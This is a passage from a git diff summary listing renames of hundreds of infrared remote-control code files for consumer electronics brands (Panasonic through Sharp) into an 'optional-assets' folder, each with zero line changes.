optional-assets}/_CSV-IRDB_/Panasonic/VCR/2,-1.ir | 0 .../_CSV-IRDB_/Panda/Unknown_DVD-6838/0,-1.ir | 0 .../_CSV-IRDB_/Pansat/Unknown_2500a/0,249.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pansat/Unknown_2700/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pansat/Unknown_2700a/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/134,97.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/27,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Parasound/Receiver/3,240.ir | 0 .../_CSV-IRDB_/Parasound/Surround Processor/3,240.ir | 0 .../_CSV-IRDB_/Peekton/Unknown_IR6005/0,-1.ir | 0 .../_CSV-IRDB_/Philco/Unknown_PCR-111/80,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/CD-R/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/CD-R/26,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/DSS/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/DSS/39,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/DVD Player/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Digital Recorder/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/16,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/17,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/20,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Receiver/5,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Philips/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Philips/TV/3,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_01/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_01/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_101/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_130A/138,245.ir | 0 .../_CSV-IRDB_/Philips/Unknown_17PT1563/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_26PFL5604H/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_32PFL5403D/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5260/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5300/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_5373/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_8243/10,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_95/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_AV5609/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_CD/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_CD720/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_CD723/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_DSX-5500/39,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_DVD-724/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_DVD711/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_DVP-5982/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_DVP-642/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_FW2104/134,83.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_LV2/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_MULTI/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_MULTI/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_MULTI/6,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_PHDVD5/26,154.ir | 0 .../_CSV-IRDB_/Philips/Unknown_PHILIPS/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_PHILIPS/34,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_PM725S/27,-1.ir | 0 .../Philips/Unknown_Philips-PMDVD6T-Universal-AUX/64,47.ir | 0 .../_CSV-IRDB_/Philips/Unknown_R-48F01/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC-2012/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-5/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC-5/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC-7843/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_RC/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC19042002/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC19237006/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC19335003-01P/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC2034302/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC2070/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC2582/39,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC5-BP6/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC7507/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC7843/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC7925/26,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC8244/10,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_SF172/39,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_SRM5100/4,15.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_SRU/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_STEREO/164,164.ir | 0 .../_CSV-IRDB_/Philips/Unknown_TIVO/133,48.ir | 0 .../_CSV-IRDB_/Philips/Unknown_TIVO34/133,48.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_TV/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Philips/Unknown_VCR/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_VR175/5,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_digital/0,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_dvd712/4,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_philips-rc2592-MODE-v1/8,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_rd5860.conf/20,-1.ir | 0 .../_CSV-IRDB_/Philips/Unknown_uDigital/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Philips/VCR/5,-1.ir | 0 .../_CSV-IRDB_/Phonotrend/Unknown_Prestige/4,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_300i/17,20.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_800i/7,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_PCTV/7,-1.ir | 0 .../_CSV-IRDB_/Pinnacle Systems/Unknown_RC-42D/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/162,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/164,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Amplifier/165,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/CD Jukebox/162,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/CD Player/162,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/168,40.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/170,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Cable Box/172,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Cassette Tape/161,-1.ir | 0 .../_CSV-IRDB_/Pioneer/DVD Changer/163,-1.ir | 0 .../_CSV-IRDB_/Pioneer/DVD Changer/175,-1.ir | 0 .../_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir | 0 .../_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/TV/170,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/TV/175,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir | 0 .../_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir | 0 .../_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir | 0 .../_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir | 0 .../_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Pragmatic/Router/172,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir | 0 .../_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Proscan/TV/15,-1.ir | 0 .../_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir | 0 .../_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/17,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/2,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/3,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/4,-1.ir | 0 .../_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir | 0 .../_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir | 0 .../_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir | 0 .../_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Quasar/TV/128,0.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/DSS/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/DSS/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/DVD Player/5,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/14,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir | 0 .../_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/VCR/14,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RCA/VCR/15,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir | 0 .../_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir | 0 .../_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir | 0 .../_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir | 0 .../_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir | 0 .../_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir | 0 .../_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir | 0 .../_CSV-IRDB_/Radix/Unknown_radix/138,245.ir | 0 .../_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir | 0 .../resources/infrared/{ => optional-assets}/_CSV-IRDB_/ReadMe.md | 0 .../_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/110,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/135,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/16,-1.ir | 0 .../_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir | 0 .../_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir | 0 .../_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir | 0 .../_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir | 0 .../_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rotel/CD Player/20,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Rotel/Tuner/82,0.ir | 0 .../_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir | 0 .../_CSV-IRDB_/Runco/Video Controller/1,-1.ir | 0 .../_CSV-IRDB_/Runco/Video Projector/1,-1.ir | 0 .../_CSV-IRDB_/Runco/Video Projector/24,247.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Runco/Video Projector/5,1.ir | 0 .../_CSV-IRDB_/Russound/Music Server/10,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir | 0 .../_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir | 0 .../_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir | 0 .../_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir | 0 .../_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir | 0 .../_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir | 0 .../_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir | 0 .../_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir | 0 .../_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir | 0 .../_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir | 0 .../_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir | 0 .../_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir | 0 .../_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir | 0 .../_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir | 0 .../_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/TV/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir | 0 .../_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/VCR/2,2.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/VCR/5,5.ir | 0 .../_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir | 0 .../_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir | 0 .../_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/TV/56,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir | 0 .../_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Satelco/Sat/24,-1.ir | 0 .../_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir | 0 .../_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir | 0 .../_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir | 0 .../_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir | 0 .../_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir | 0 .../_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir | 0 .../_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir | 0 .../_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir | 0 .../_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Seleco/TV/0,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Seleco/TV/30,-1.ir | 0 .../_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir | 0 .../{ => optional-assets}/_CSV-IRDB_/Sharp/Monitor/1,-1.ir | 0 .../infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/TV/1,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir | 0 .../_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir | 0 .../{ => 